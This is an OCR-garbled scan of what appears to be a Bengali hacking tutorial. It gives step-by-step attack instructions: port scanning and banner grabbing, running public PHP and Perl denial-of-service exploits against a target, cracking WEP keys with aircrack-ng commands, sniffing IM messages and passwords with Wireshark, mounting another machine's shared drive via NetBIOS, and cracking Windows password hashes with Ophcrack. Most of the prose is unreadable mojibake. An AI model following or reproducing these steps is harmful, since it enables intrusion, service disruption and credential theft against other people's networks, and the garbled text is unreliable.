opEn
opEn

OpEn

Service
ssh

priy -rail
dornain
htkp
rpchind
rysql

iyl leen

1 Mersion

8. Qi (400 AR YbT OTHAIE 5 open ports (AT Al IS FAOR|AG AT

3DRED 99 I(ng &A1 ports/services 93 oo @i

20 FTP data (File Transfer Protocol)

21 FTP (File Transfer Protocol)

22 SSH (Secure Shell)

23 Telnet

25 SMTP (Send Mail Transfer Protocol)

43 whois




53 DNS (Domain Name Service)

68 DHCP (Dynamic host Control Protocol)

80 HTTP (HyperText Transfer Protocol)

110 POP3 (Post Office Protocol, version 3)

137 NetBlos-ns

138 NetBlos-dgm

139 NetBlos

143 IMAP (Internet Message Access Protocol)
161 SNMP (Simple Network Management Protocol)
194 IRC (Internet Relay Chat)

220 IMAP3 (Internet Message Access Protocol 3)
443 SSL (Secure Socket Layer)

445 SMB (NetBlos over TCP)

1352 Lotus Notes

1433 Microsoft SQL server

1521 Oracle SQL

2049 NFS (Network File System)

3306 MYSQL

4000 ICQ




5800 VNC

5900 VNC

8080 HTTP

¢. 9 Cﬁﬁf QT PG FFICOR O G G YIPIF (F SA00 W &lA WWQ
0 (operating system )BT FAR| AP S HAED HOTE F79
vulnerabilities SR 612 JIHE WG FoTa T A AR TS AR
AR PFO ARG

Of¥ Nmap 93 S w=i@EfT: Fiobd Bies $117 A o, 58 9o Biefs
ARG T +AfFBIfeTo F3® O IR @O AE@ A @S FfA FR013 G 9o
I9RF I FIIR ©F 197 GQA @I TASH IS FIC0R Of TARF S 90 7S
CARY T 404 (IS & @F 1 QA Q7T (1% 9 FO AIE I &I ARBYR
(73, 5MIRFAT TH7 “www.targetsite.com/almadarifjanata.php” 92 (&G qf A
TBRAR @R, 012 QfF 404 (% 1T |FRFSIT ASIE 404 (Ie7 @A FAEDR
PIe0Y WPIIE @S AR [E G (TP IO custom 404 (e (AR, 049 93
ARG IS FIE AT |

Y, I QA CLI 93 Nmap BPF I FICO B8 QLI FAG ST (A0 A
http://nmap.org/book/man.html

q,94q YIFIF 3] open ports YR @A @I FST Heig O I (RO 94
SIS Qg B Y& (§F IO X 9MAR “Banner Grabbing” IS wICeA|
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JAR ifae

GYq YIPIET iz T @7 A o7 W 1 SF 9@ HeIcocR, 94d O &0
@ Of (P PSR GR OIF O 51591 (G qF Jig FiKye ot of
o A1 183081 (Start -> Run -> “cmd” fe1c4-> Enter).

I QA Mac TIRIT FET OIRE QI terminal IIYT FHCO |

*([@I% =B3(IT Vista (O telnet 33166 1 AT a1 AGIIRS Mo AYET ﬁ
Ol FI0 A -

G RNGIGRN]
*Program and Features P1eTg !
*Turn BICSTS features on or off.

*Click the Telnet Client ¥2Pq Q3R click OK.

*FATIEA A0 99 &7 9B Ao I ANE |Gt 94 369 @
|

>. I YT nmap 9 ST 9F open port F GFART FIF G FIRIIA
GEY &, JIPIT Target scan I
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o C:AWINDOWS\system32\cmd. e

icrosoft Windows HP [Version 5.1.260@1
C(C) Copyright 1785-2001 Microsoft Corp.

twDocumcntz and Ecttingz~Doavid M*tclnct localhozt 21

3> AR T % open C(ITA® I 9T TP SIIT Hetor ©f TAR T &
telnet www.targetsite.com 21 FAIG AN telnet I FIF QA =¥ (0 (IO AR
I AR FIE0E & Hefb F@EMR 01 (EFRPY) MER QR (@IRFERPS)
Q3 SN o1 BieefB/adress 5 M|

2. 99719 QB oFF BiesfB 93 MR Connect A YR O GF61 banner (A
TFoSINT QIR IFLSTIET ©q T3]

et Telnet localhost

220-FileZilla Server version B.7.27 heta
Z220—written by Tim Kosse (Tim.Kosselgmx.de?
228 Please viszit http:/ssourceforge.netsprojectssfilezilla~




STPOSATIET JET vulnerabilities (IS &) YIPIET 932 OYLIR w7917 1IM QoI
IS 91 I OIAT Nmap 97 full version detection NP AT FICO |

Vulnerability 31 BN

G4 JIFF 9F IR TPOSIIET AN QR SHF ST Wiz 01 T 93 07 JIF
PE PO vulnerability (SOIRS {&E YHARE T G 1T GHATE 1 I
OIE @7 Of Ao 9F i JIW FG ASHF 74 F@ AR IM 961 qf AR

OIRE (1 9q) HIEBIL open port (BB FIE [FPOXET SAT GHARL (GOIES T

*1337day
*SecurityFocus

*0Svdb

FIEPOT CIY (feris =7 IIFF 30 GO TIoeWR 93 Tw @ 9HARD
ql AR OIRCET PTG (TS0 AFE |96 P TQA GHARE (OfF FIE
| 95T YIPE (T ST “0-day” Il F |

“0-day” vulnerabilities JTFIF 17 A g PR AP @Wﬁ;‘f |

*@(RY vulnerabilities TF TIF &S I A1 ©I3 vulnerabilities BIF patch G I
I TP AP R JIF F90 AH|

*yulnerabilities 5f T 9@ vy [ 900 @ |

*JQA vulnerabilities (AT I YIFIF A6 F&q FH|
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§f§{ ©IJ(OR “0-day” QT Grol @Wﬁ‘f @Fq? (OFIE 9GP0 equation M 2.

Hacker + 0-Day + Company servers = Bad Reputation =Loss of Money

QI A 57 T4 attacks A SCTIBAT F99 TM vulnerabilities ST 9
JIPEF FE A

Denial-of-Service (Dos)- SIAF YT Dos attacks R fFE TIQETF Sy G2 -
Target server (3 g WaY UF &) I9 SEIEHTOIN Dos attack Q I Target
server N IS O AISF AGH 93 FI0! AGEIT! IIYI FIO (IO
SIS ST IR OF HPeAIA A I

Buffer Overflow (BoF)- GFICAT (AT SAMGTRE GIbT &A@ I OO BOF AT (74|
T I It CHIEEE Ty e s 9t (st A YIFIF Malicious code
AR FIE AT TGF (S AT T ©Of A P& F& dlIMalicious Code T
GfRFFPEE FICode 6 I executed (T JIFIF SO 7] FCO A IW QA
1337day (O QHATIL (OHIECS (ST OIS 9 57 IHAED M @TIle] IHAE@D
w31 RAs q¥H@s 97 Fo (fdw I st =

T GHARE - NP JHART BT &) (ORI @AY @ g
PO | T GHARE I 91 T GOfIT #6 97 WS Japald
GO Aol Il I 9T QI @I JIAET WP i (Ao A |

R0 qHART- FET IFART A @A GHART 9319 [AT 97AE@T
ITRED 9T FAEIET TN QG 91 IF YT [{ET QR @i GHAFTG
23013 AT IR ASIF 7 FAF S|
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TG R

947 QY SRR IR AT IHART eI 29 &7 ©f FoIR el 3929 3@
QIR AMolF 7 P ?

qBT Q4 IFAT I 2 - 1337day (O e $E GTHTO SAE WL AT I
QAT (GOIES SFINRIG I 9 97 WRIME 75 wweyf @ik s
QARG 9T 18Tl =T -

PHP

PHP (PG S 3949 IH43pMH @IT AMFI0 8F W<php T R I W
>R 1¥@ @3, TP 9DHH JER 0.9.20. AR @ FFHF e 0 F900
BRIAM G7 1337day (O TR Y& @ SHgavsiol iy 4R Dos T 30T 7 -
http://www.1337day.com/exploits/6238

A 41t ot st 7 -

>. S AFIE A FIEOE PG 576 900 FIWAMP T F ST
SISTY o P93 SAitIMac 99 & ) iR MAMP| S 16 5 @iG+irics fered of
“exploit.php” A save FIIIHIZIBIH STH AT HHFCET FIAT 7S E 1O
RIS RGNS

$address = gethostbyname('192.168.1.3');

A WIR QA O ' 'qF fSo@ et 3 w3 Srigst 9110 [ 150!




GHARDL. AW eI I N 1T O T Al FIE & 8 =55 oA
S (AR SIAS @ 19T FoAMAT 97 PIZAD PHP executable FIReT B I
Q32 directory (O save IETIWAMP 4 SFIGGAL @ C:\wamp\bin\php\php5.2.5
G PHP 9T ©F TAifPge =00 A@]|

R. GI7F S IS (A B FI9 QIR CD (change directory) IS J[RF
P PHP directory (O JI¥|

&\ E:\WINﬁﬂWSL:ystemfi?k:md.E!

icrozoft Windows XP [Uerszion 5.1.26801
CCy Copypight 1985-2001 Microcoft Cowp.

-0 x

“Documents and SettingssDavid Mrcd C:swampsbinsphpsphp5.2.5
swanpsbinsphps~php5 .2 5>

0.99d JFAGG F1q PO IR N19F & “php exploit.php” FASIL folcd vy
G B0 A

sswanmpsbinsphps~php5 .2 .5>php exploit.php

ntirce: lndefined variahle: junk in Coswanpshinsphpsphnt 2 _Gsexpladit _php nn Tine

1B

Fatal error: Call to undefined function socket_created? in C:swampshinsphpsphp5.
2 .o~exploit.php on line 28

sswanpsbinsphpsphpS . 2 . 5>

8. feTs JIPHF YHARIT I Ofco g IO @16 (@ o Mo RpbiHiow
e I @I @i ST qF oiFt 9B KT T ql A TAT G5 AR
AR (ATCAT AR QT GRS Q@F dSbr AT A AR -

$junk.="../../../sun-tzu/../../../sun-tzu/../../..[sun-tzu”;

9= TI3A B ¢ @R b R @It IAMEIR &y 19 A4 [{ye Faes




I g Afeidie iR S @R KAt Ao @

QYFEF SRS Gel QN (510 AR 9@ JSH configurations 93 S | 9FGA

I ROTR oM face e o M4t @139 I ey a5 e
I G107 Bl (71T AT [01R QN @itel &R, www.google.com e (OTFIF I
QI 55 q1 (I community forums 9 f&cse™ FHC0 A

¢. GETET 33 I 19 BeofS 9 Dos attack IS FIE QR Bf FAG Ot FA1F
i} #1FS He1oR PE [JM SO BT Dos attack 9 P FIOAB F OICET QA
BieefB 1135 9 P (oI 1S 97 TAP (A0 ARER 193 TE TSR Ted @
QIR (IG (<TG O A AT A9
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Perl

Perl 50 BIFIET ST #193B* BIeEr 93 9

Y. ActivePerl U3 35719 ©{AD TIOAETT Q3L 3760 IET|

.97 YT vulnerability 99 &) GHART L& 19 ST
http://www.1337day.com/exploits/6613  STRG{0F Win QIO SIF 2.3.0. FIRF
$391951 Q0 Denial of Service (Dos) IHART|

0. BIeefb AR U3 7o WA g IR S 9HAFET 9fEs F911°FI810
ST PI3 Of “exploit.pl” FIE save F33IPearl GHARD ST “!/usr/bin/perl” W@
VP W |

8.94q I CMD Open @& CD (change directory) TS (D IR I
directory ST FII19351F “perl exploit.pl”BiZH FE@ GFAADGIT ¥F FI3IDOS
attack B F (... SI& AT !

Python

Python 8 <84 GEa programming language QFARD off FI7
SIS [ http://www. python.org/downloads (ICF QI Python BIGACIIG B fao
A1 IPython BITICAT Perl U3 ¥03|Python YT SEF YHARD ST A 1337day
(O 1A FIE @ Perl 9 @A QA “exploit.pl” A YHAFGL T FERE CTIA
Of A @ “exploit.py”| “.py” R Python Qs GHGAHA]

61




WY ALY

SITRET I/

QT AT Wireless TR TA@ A@HAT 99193 @AIRT PO secure
wireless\networks 9 (TP ¥ |

SIRETT @ACSIF AT

Q3 PIF ST (OTIF wireless card/adapter T IUTPIF (O HCTAICT wireless

networks ﬂ'\’aT@l

G3(TIOH G AN @07 I PII ©Of 6 NetStumbler [SF Mac 9F S
MacStumbler | 455 S8 5 (AT A T -

. B309TS 8 feTqIcHT &7 Kismet|

- WIRI G5 kismacl

IoPTRe
>.Netstumbler GISAEIG FEF V06 JET|

DI =PI QBT Wireless access points Q¥ &d] automatic scan ¥ PHE| 62

V.scan CTY SR AT wireless access points 93 o0 (O AH|




i Motwork Stumbler - [20030001140030.051]
@ e fdt Pew Dewce - fndon

D@ P dE

Hame

| \.-'L-l';.i'_'pl
O-Link

i

#4 2 ik A WEE

N ‘s Matwark Agpla AR

SR A LaM A& Lirtksy sl WEP

« N g Wasts's wirgless network Acheancad Mulh =

x ﬁ B < rradhun D-Link, A

TR (O 0DAM4BITEREE  wirgless Gemigh (D-Lmk] AR

+ "§' B 8 0030AB12ABIC. Wisless 1 = WEP

s Susomsin e [ o e e
f ARI8F 2 NE 791 W D00ASEI9BIEA  wishakha 1 Mbp= s WE|
8 JGAELTE LR B OISOF2TIEFIE  WYWIRELESS B " HI:E; AP WEP

)y O00625C0423

& D009SERINT0E

@ D0095E247A02

£ D009sE |

@ 003EABOFCATY
« 'R 10

;1Y
, & ID04SACFFAID  linksys B 11 Wbpz  Unksys A
& 0030ABTFEFFC Tsunami 1" 11 Mbp=s Dekta (Melgeary  AF  WEF
(@ 0040058A4FB0  Shavaret 2 22 Wbps  D-Link AP WER
(D 00409E3361EY  mnanjie E 11 bpe  Cizco (Aironed) AR
2 HEACEITIF  wimye-home 10 11 Mbps  Linksys AR
MFEA-CWARE 4 11 Mbps  Linksys AR WEFR

#4811 Q02CCFDE?  SpeedBSteam 1 11 Mbps  Sercams AR WEF

£ <k 53510 AEAEEDIATF B 11 Mbps  Linksys AR OWER
= % Firers 030aB17400 ] 1T Mbps  Deins (MWelgesar) :

;,I{ Encryphon T !E-I.'Illlhbl. ECAARD B 11 Mbps  O-Link ) WEF

& Encryptian On 3 0009s B0 1 11 Mbps =

K’ ESE (AF) 2B TAEE4 [ 11 Mbps AR

%' IBSS (Peer] 4 54 Mbps : AR WEP

&' CF Pollable link sz B 11 Mbps  Linksws A

&' Ehod Preamble shreys B 11 Mbps  Linksys AR WEFR

& Detault SSI0 HOME 1 17 Mbps  Sercamm AR OWER

5 PRCE (2 00035E1138B6  Homa 1 11 Mbps MNetgear AP

ioh T A A AN A i o 18 il T e =

& Channel Augility w | ¥

Fimmcy Mot scanneng GP5; Deabled

8. I QA (P1A MAC address 4 f$5 3@ QR 936 &P (9@ T0 G 51ge 0O
Ol signal |
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¢. Qi MA@ NetStumbler A1 QIS8 W1 55 @4R119f6 MAC address, Channel
number, encryption type Q3R bunch (A |9 FTFIES ST @ﬂsg‘vfﬁnetwork

cracking @S & 74 g encryption e -

« WEP (Wired Equivalent Privacy) - WEP (& Q4d iF f19w I IR A1 1514 J
RCST WEP key crack 00 A

*WAP(Wireless Application Protocol) - WAP ¢ Q4d3Id JIGE secure wireless
network|WEP Q3 0 QB! & XX Allbrute-force ST dictionary attack 93 @R
WAP crack 300 T |SISAIS 39 T dictionary attack IS FIE dF 9 brute-
force PICET I I @11 G|

WEP @I58

QI St ferqicHs 9o TSRS Backtrack TI=F 9] 1BackTrack G BT
QAR AP TP ST (TST U (IR 9 FF A A 757 iy

>. wireless adapter 3R UF0T FACOF|

. Backtrack SISAIG F@E QI 9! Live CD A8 |Backtrack Q@ ST @F tools
JJI]T P ©Of _F -

« Kismet - 930 wireless network detector
- airodump -1 wireless router (ICF packets capture I |

- aireplay - 4f0 ARP requests (TS |
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. aircrack - 4f WEP key ©fersb A

5.bssid, essid 43R channel number >R AT I wireless access point %1'(@ CF|

190! FRE ST AFRT terminal BIF FII Q3R kismet o108 kismet BIe] $991 40T
(OIIT IR TS adapter B HII@, SAFFO ath0 Ilwconfig B3+ @ fCSIREE 71
A

0 wireless extensions.

. 99998 5 N &4y (OFNF wireless adapter ( monitor mode 9 fAto
@ |Kismet 9T fAws fate @)

0.Kismet 4 QY Y/N/0 A 1937 RS encryption QT T IS FE | 9IOIE T

access points ﬂ'\’aﬂ

Y=WEP N=OPEN 0=OTHER(usually WAP).

8.access point TSI AT FCPICAT text document YT GIR networks broadcast
name (essid),mac address (bssid) 93 UBIF channel number paste @193 O
(*IT0 arrow keys JJIRIT B access point T8 FET QIRENTER>BI|




Network List— (Autofit)
Name T W Ch Packts Flags IF Range
default A N 006 9F 192.168.0.1

I iyonder.net A N 005 42 14 10.254.178.254
! iyonder.net A N 001 22 A3 10.254.178.0

! eurospot A N 001 19 ™ 204.26.5.166

I NETGEAR A 0 006 5 0.0.0.0

¢ 19T AT access point (I airodump JIRIT PAE data DT FII19QA
G terminal YeT Q3R airodump-ng -c [channel#] -w [filename] --bssid [bssid]
[device] fe1C4 airodump BIe] ST SAGET SIS

Pahaira

(2T airodump-ng (@ channel 4 518 R OF (OI access point 93 -¢ 99 A&
IR Joutput IR -w QT AE IMAC address 4 Of T --bssid YT *IF TS (HIEIGT
device name Q& O T |

Y. TQA IO terminal YT 19I5 AFAT T5F fake packets (O P %)
access point U¥ &(qJ JICO data output 9F S T 1A =2 -

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55:66 -e [essid] [device]

S (AT =IF ST airplay-ng program. JIRT MH 1-1 I fake authentication
T access point. MR |

0 R attack JLJIO[ AJY |

q.94q IFT %] access point Q@ IR ARSIl packets AT TCO WEP
key @I 300 AMfF laireplay-ng -3 -b [bssid] -h 00:11:22:33:44:5:66 [device]43
UG q -3 R attackdd type JHR I IR (@ packet injection | -b T MAC

address of the ¢T3 access point |-h ¢T wireless adapters MAC address | wireless
adapter device 99 ¥ M J{E 1A |

b-. I49 QA 50k-500k packets WS FO (I TR QA WEP key & I 9F 0
AT laircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs




m|m

bytelvote)
701 1*u4qu| DD( 150528) SA(148992) E8( 14 1) 3E(146944) 4D( 1464321 82(146176)
] 52(154 1100 153600 ) 49 ] EE.lSUS““j : LY )
} 55i151552) S8(149760) 4 ;
DE( 148736) - (14 47712) : 9A( 145920 )
0(154112) D4( 14 aA( 14 6( 14720€ ) F9(146176)
F2(146176) 3F(145920) 9F(145920) 87( 14 8 4 4 Aﬂilddi 4]
F;fISILQEW BE( 149 i “: :
120 153600) SE( 153 6 [ o1 ) a3 1 ) lEild?
F2i 170240 EAi 224) DA( 147 | B2( 14 FT( 146 D&( 14592 ’Eild &)
11{ 179456) 3@ O] 9D( 146 A56RE4) TFA[14 BSE145152| C50145152)
AT(151552) AC(149504) GF( 147958 ) E3(146432) 34(146176) EDI14bl“bl
AD(151040) 56(149504) CE(148736) C 130 ) 32(146175) 800145664) TFE( 14
08(152576) 97(151284) 25(145800) FB(145720) 48(145232) D8I 144584) CO{144184)

[ay T 3 [ OV LN

00 =]

= 0

oy

0/
0/
0/
0/
0/
0/
0/
0/
0/
0/
0/
0/

L = T e e R S e R Sy

KEY FOUND! [ 7D:00:05:F9:8D:C9:E4:89:F2:11:(5:49:98 ]

Y3 PG 7 AT PR ©F FIENNGR TG G -a 1 M@ program & WEPattack
mode, fATO = | -b T MAC address9d3R -n 128 I8 WEP key length In §f§{ 9ot At
SIACE @ 7S |98IE QR WEP key (F Y30 W 300 AG|

GOl (T QTP Qi @9ite e Qi W1 T Al |

pahaira 2

S [GITRFSREN

Iy 94 wireshark (&iefiF 0 3T FIQT Packet sniffing (AR ST | Packet
sniffing {1 @GSN T M ST Packet WE ¥FIF QG SR Ipacket sniffer
qF IRNAT YIFIF wireless network 9 HAJAT FE © usernames, passwords, IM
conversations, and e-mails 92 O ! (10 AF |

>. www.wireshark.org GISAEG I /90 IGET |

2. B @ WA 355 3@ 03 2R7 ot @i +d |




File Edit Wiew Go Capture Analvee  3tatstics Halp

@Y X228 +%97¢ BB e D8R B
5
titefLisk the available capture inertacss. | ¥ xpression... Clear Apply
Wiresharle Captire(nterfaces E@
Descriation P Packets Packetsls
i. Adapter For generic dialup and YPY caoture [Star: l ’thiu:ns ] ’De:ails l
i NETGEAR WG111 502, 11y Wireless USEZ,0 Adapler (Mirosull's Packel Sheculer) 152,168.1.101 [§Ldr. l IOJ.ILiu I ] ’Ql::.clil:l

0. Bitefo 118 I start @ 55 3@ packets capture 391 OF I |
8. I Qi 71 SICAl (AT FieeTs 900 @ OIA g+ Il 5 @B QT
4@ QP packet TR G0 I8 &N QI SAFFRT packet IIITFIRNE

IEFT @A |
f wWireshark: Capturefinterfaces ;E@
Diescription IP Packets Fackets/s
d P.Egpter for genetic dialup and WP capture lﬁtart ] [Ojtinns I ’Qetails I
Bl NETGEAR WG111 802.11q Wireless USB2.0 fdapter (Microsoft's Packst Scheduler) 192.168.1,101 920 t|start | |ontions | | Detas |

¢. Wireshark fFeId 739 FAE OFF &) W Windows Live Bie] FIET 93 GG
TS A ORI @LIET A AR FRIAFAT e “msnms” =111 751
<P Windows Live 99 packet ﬁ(@ GERIE]

11°B0Z.11g Wireless U

37.0 Adapter (M

File Edit Mew Go  Capture  Analyze  Statistics Help

XTE | Ne+*aTFTELIEBE QQQE

Eilker: | msnms *  Expression... Clear &pply

P1nix_Cr3w | www.facebook.com/plnix.cr3w
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. L NEM155700

550 24, 75EZEH : A 192,188, W5 MM TCP ReTransmission
1819 32.026485 192.168.1.101 207.46.27.34 MSHMS MG 9 U 90
2209 36.504746 192.165.1.101 207.46.27.34 MSHMS MG 10 N 145
2210 36.682696  207.46..7.34 152.168.1.101 MSHMS M35 smarterchild@hot
3050 55.059227 Z207.46.107.80 152.168.1.101 MSHMS MLM AwY sean@spotlig
3109 56.638464  Z207.46.107.80 152.168.1.101 MSHMS UBx sean@spot1ightph

Frame 1326 (20% hytes on wire, 209 hytes captured)

Ethernet II, Src: Metgear_70:5e:0h (00:0F:h5:70:5e:0b), Dst: Cisco-Li_f4:07:h5 (00:0c:4l:fe
Internet Protocol, Src: 192.168.1.101 (1592.168.1.1010, Dst: 207.46.27.34 (207.46,27.34)
Transmission Control Protocol, Src Port: 7601 (78010, Dst Port: msnp (18637, Seq: 1105, Ach
- MSN Messenger Serwice

MSGE & N 142%r\n

MIME-Version: 1.0%\n

content-Type: text/plain; charset=UTF-8%ryn

H—MS-IM—Farmat @ Fu=Ms%20shel1%200Tg; EF=; C0=0; C5=0; PF=0%r%\n

A Yy

hey! 11D whats up?

+ F F =

Y. 9 @O A6 GITAT RA@AM @l o6 (4o 15 oI F@l TP
(400 AT, Usernames Q3R passwords IM  encrypted FI1 df AF SifF I ©f
CRIRICH

RS PR sniffing SN (&ATefTe

http://www.monkey.org/~dugsong/dsniff/

http://www.snort.org/

http://monkey.org/%7Edugsong/dsniff/

@GRS 1 A T @B HIFTF IA7F-AS6+{b Pievy 19t A LAN Jf

WAN ¢ CPIoi, TR, [T  Fqfs % GiRes CRIF 5hl &R |19F &y 9 J19 76
S TP s

M QIRGIRCE
W QIRGIRIGE R NIRCIGIRIEI G
WY QT GHBIIRST 9T @ Fieft @i reim et I of G, ...
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ST I 936 DIt @FHT o @ 900 TR, 193 FIETT FIF @7 Angry
IP scanner http://www.mediafire.com/?nyyuaydw9gi P5SITIF GGG 3 370
PE qI8

9THT YR A lemao G oo 3 [E 593,
http://www.cmyip.com/ (P QT facers Q=™ SO =@ QIR GF AP
@3 feox 93 G 96|

ata

= Angry [ Scanner 2.

File Goto Commands Favorites  Options  Utils  Help

IPramge: | 192 . 168 . 1 . 1 g | 192 168 . 1 . 224 aman|

Hosthame: |davids-machine |F"‘i}| = B

CLAFF

=

=
Threads | 0 l}r

IP o i | Ping o i |Hostname @ i | |

O 999 T I I 719 9 @ >05UTAT YT O A Feo! .| forad
Jeot fAggf¥ O o 910A q BI%t A Y3 2ol S *fF Yes @S |
[~ Scan ports ANM

IP @ i | Ping @i | Hosthame o i |

w

' Mo porks are currently selecked for scanning.
. Do you wank bo select Ehem?

"|"E'1G\ Mo |
M

8 ok X9 iIT fored >05IH 9 WS |
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Enter portz to =can [or use helpers below) j
Partz: |'I 29

Sirngle port

Part: | | ~|  Add

Fort range
Fram: | to | Add

MNote: please be patient when scanming ports. [ may
take long if you want to gcan too many ports.

] | Cancel |

¢".Start I0F G B (IS 219 T I@ Q0 Ferpa @AHE" |

Gl Scanning finished
=i 4 sec, 0196 secthost

19216811 -192188.1.224

IPz scanned: 224
blive hogts: 1
With open ports: 1

Parts scanned:
1/ host, 1 total

ak

b G @It Sos5T T > QI I@E® I9 T 8@ ¢4l TITx .|
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IP @ 1 | Ping > 1| Hogthame = i

@ 192168.1.89  Dead MAS
. 192168190 [Dead MAS
. 192.168.1.9 Dead M/5
. 192168192 Dead MAS
@ 1921681.92  Dead MAS
. 192,168,934 Dead NS
. 192168195 Dead M/5
. 192168195 [Dead MAS
@ 1921681.97  Dead MAS
. 132168198 [ead M5
. 192168193 Dead M/S
@ 132168.1.100  Dead MAS
O 1921681101 O msz davids-machine. ...
. 192.168.1.102  Dead M43

q.Start > Run >cmdfeTCd><ENTER> (G TS AW B FGT |

b- Q4q YIFIIC. “nbtstat -a TargetlPaddress” fe(d S $IC0 @, I AITE
QR IE T QR AR IR B 15 | @b o113 900 3RX |




e (ZIWINDOWS\system32icmd.e

icrosoft Yindows HP [Uersion 5.1.26081
C» Copyright 17852881 Microszoft Corp.

ode IpAddress: [12?2.168.1.1811 Scope Id: [1]
MetBEIOS Remote Machine Mame Tahle

Status

DAVIDG HMACIHIHME <@éd> UHIQUE Registered
DAVIDS-MACHIHNE <2Z@> UNIGQUE Registered
HSHONE <8 Regiztered
s HUR HEgLSTEere

HSHONE <1D> UNIQUE Registered
.- HSBROWSE__ _<@L> GROUF Registered

HAC fddress = BB-AF-BS-TH-SE-HB

> I AT 9 AN AT <2074 I OIE @RIFIE P CRAIER B |
@94 TPAEDAVIDS-MACHINE QT 2t <20> o1t S [IM<20> 93 9 G T
OIE @RI IE FI3A IR 9 |

>o YN I G.“net view \\TargetIPaddress” Fa1 b o =@ |
IR TP QR IR @ @9 T3, &0E, @IS o7 531

:»Documents and SettingsDavid M>net view “~192.168.1.181
Ghared resources at ~s192.168.1.181

S hare name Comnent

Cend To OneHote 28087
HPF Photosmart 8288 Series

SharedDocs
he command completed successfully.

5> QA 7t fASF I 91 IR, | I AT SharedDocs 19947 Y @A
fo o = fAsgE@ qm ARET |

52 YIFRE.SharedDocsfO AR T &7 Q6 JAlbd 910 IR T TS
J@ % faggd wiqr I |




>0 Fqfba (ofd FI1F &S .“net use G: \\TargetIPaddress\DriveName "Ja1 b fiico
TR | 9@ TS 6 @ “net use G:\\192.168.1.101\SharedDocs”. G:// 97 IS
W@b_%\co GF 919 8 ST A |

=“Jocuments and Settings“Javid M*net wuse G ~A192 .16B.1.181“Sharedlocs
Sustem error 5 has occurred.

he local device name iz already in use.

z~Jocuments and Settings“David Minet wse J: 5192 16B.1.1681“Sharedbocs
he command completed successfully.

8. MR G T G W (RTFR IER | 949 35 FI@E! 222 RERR | @Al
fost g 38, @roa v fBHifas a5 oikar iR e

I3 FFIGOR QA 1 FIR0eT A9 (ed 91 A0S @ 1908 9T o
gi3® |: | ol 9% | i@ o 3@ |

[:?Q"ﬁ'! | ara Misk {00

Devires with Bemnvahle Skarane

4 CND-RAM Drive (D) S Remoyvadle isk (E )
w Mermovasle sl (F ) w Mermavasls Jisk (50
"ﬁ;ﬁ' Remavadle Jisk (H:) "ﬁ;ﬁ' Remawvadle 2isk (1)

Metwork Drives

A SharadCors on'192 168,101

=F 0

— el

s¢ f5 qrot AT NN @ ARIATOIE I @0STF GiZe off F9R | 97
@ K T A |




B3OS ATSIG @if<he

SRS 1P T &) Ophcrack AT EIATY IR FIGT | 9T FIE B0
G fSB!, GTeE@ APTSAS YIF [ IR | GHIAO ARTSIC Wi/ 72w 538
f&st It eTcer fatat QR AT F1FE FF 1LM (Lan Manager) (QE T
T FE APTSITC YT 39 W, A @3R! G 97 391 7 | 93 et
M 20 IR 199 Re

#C:\WINDOWS\system32\config U3 0@ It 77 ITEHHEH & 7 |
#Q3% HKEY_LOCAL_MACHINESAM QTSRS a3 Jexy, «fb's et
IS 79 & IF |

Q4F Qi O_1F 0O 1@, I L AT 222 QRER

G GA) ARE g0 AR TAR |
#HTAIE MRS BifS (IF SAM FIReT TGN 1 PIA© % 3|
#Ophcrack@d PWDUMPCEETET R0 @ Gy I @& bl
R

> &TH.Ophcrack http://ophcrack.sourceforge.net/ GGG |

Download
ophcrack ophcrack LiveCD

All platforms No installation

JTTCATENT T (A I L. | 370 C1F A @IAET BRI Fohq e
Jqace 5 S d |
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[}' ophcrack 3.0.1 5etup EEE

Choose Components
Choose whizh Feabures of oohorack 3,001 wou wank ko instal 'i. ¢ ’

Check tve components vouwark koinstall a1d uncheck the components you dor't want to
install, Click Mest ba conkinus,

Select components to irstall ophcrack (requredi
(B C'ovoriicad and Tnstall small 'WinsP tables (3R0ME)
[ Downlcad and “nstall Fzst \ink> tables (703ME
[ Downlcad and ‘nstall fr=e vista bables (461ME)

Spece raqured: 12.6ME

% Back ]L Mexk = J [ Cancel

019fb 33759 2STF 27 AT SFINIG P @AfeerTd QA GRa @ 75
PANQLA QN 517 4379 GReT M@ w4003 AitRl I0 AR o9 PFE GRE
CORETR T3S8 0O I X O WG Fievy ol GRe Qe i3 |

76
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XP free small (330MB)
formerky known as S5TIC04-10k

Success rate: 98.9%
Charset: 0123456789 abcdefghijklmnopgrstuvws y 2 ABCDEF GHIJKLMMOP ORSTILNAEY £

mdssum: 17 cfadfch1 327523601 f23eb241 heBE

7. XP free fast (703MB)
" farmerky known as S5TIC04-5k

Success rate: 95.9%
Charset: 0123456789 abcdefghijklmnopgrstuvws y 2 ABCDEF GHIJKLMMOP ORSTILNAEY £

mdosum: 53697 5b57 891 2052 def 02 a0 bd

= XP special (7.5GB)
J formerly known as WWs-20k

Success rate: 95%
Charset: 0123456789 abcdefghijklmnopgrstuvws y 2 ABCDEF GHIJKLMMOP ORSTLNAAEY L "B %A T+ - .1,
===NE0" Iy (including the space character)

. XP german (7.4GB)
o J formerly known as german
Success rate: 99% -
Only for passwords that contains at least one german character (AA0AQLIE)

Charset: 01.23456783abcdefghijkimnopgrstuvesy 2 ABCDEF GHIJKLMMNOPGRSTUMARY L %"+ - 1,
===ME0 I As0A0LR
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e “i Vista free (461MB)
|

Success rate: 99%
Charset: based on a dictionary with wariations thybrid mode)

mddsum: 40381784727 2a48519b47 cabbZebh

/W, Vista special (8.0GB)
' farmerly known as NTHASH

Success rate: 99%
Passwords of length 6 or less
Charset: 0123456789 abcdefghijkimnopgrstuves y zABCDEF GHIJKLMMOP QRS TU Y Z
MEFH AT+ L a== 0@ 0 Y (including the space character)
Passwords of length 7
Charset: 0123456789 abcdefghijkimnopgrstuves y zABCDEF GHIJKLMMOP QRS TU Y Z
Passwords of length 8
Charset: 0123456789 abcdefghijklmnopgretuwvay z

81941 Iy 319 (F I8 GReADR @R ARG ophcrack B $@ @GR g
f$3 3@ O TeaEs Fat GRaft @R i@ ok sl
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kﬂE eiechan EE

~abl= Direckory SoabLs
Z: DovnloadsiBanbow Tablesi»P .. i
@ =P fres snall not nskalled
@ xP special not nskalled
@ =F gennan vl ol i islalled
@ =P german »2 not nstalled
@ Vista special nat nskalled
@ Yista free not nskalled

@ =enabed & =dsabed @ = notirstaled

1« (=] le] (2] P | .
¢ 19979 SIFF PWDUMP BIe] I ARTSIG ©Ietd (B8 FI919F T (T 37pe
GBI I9 $ ™o @

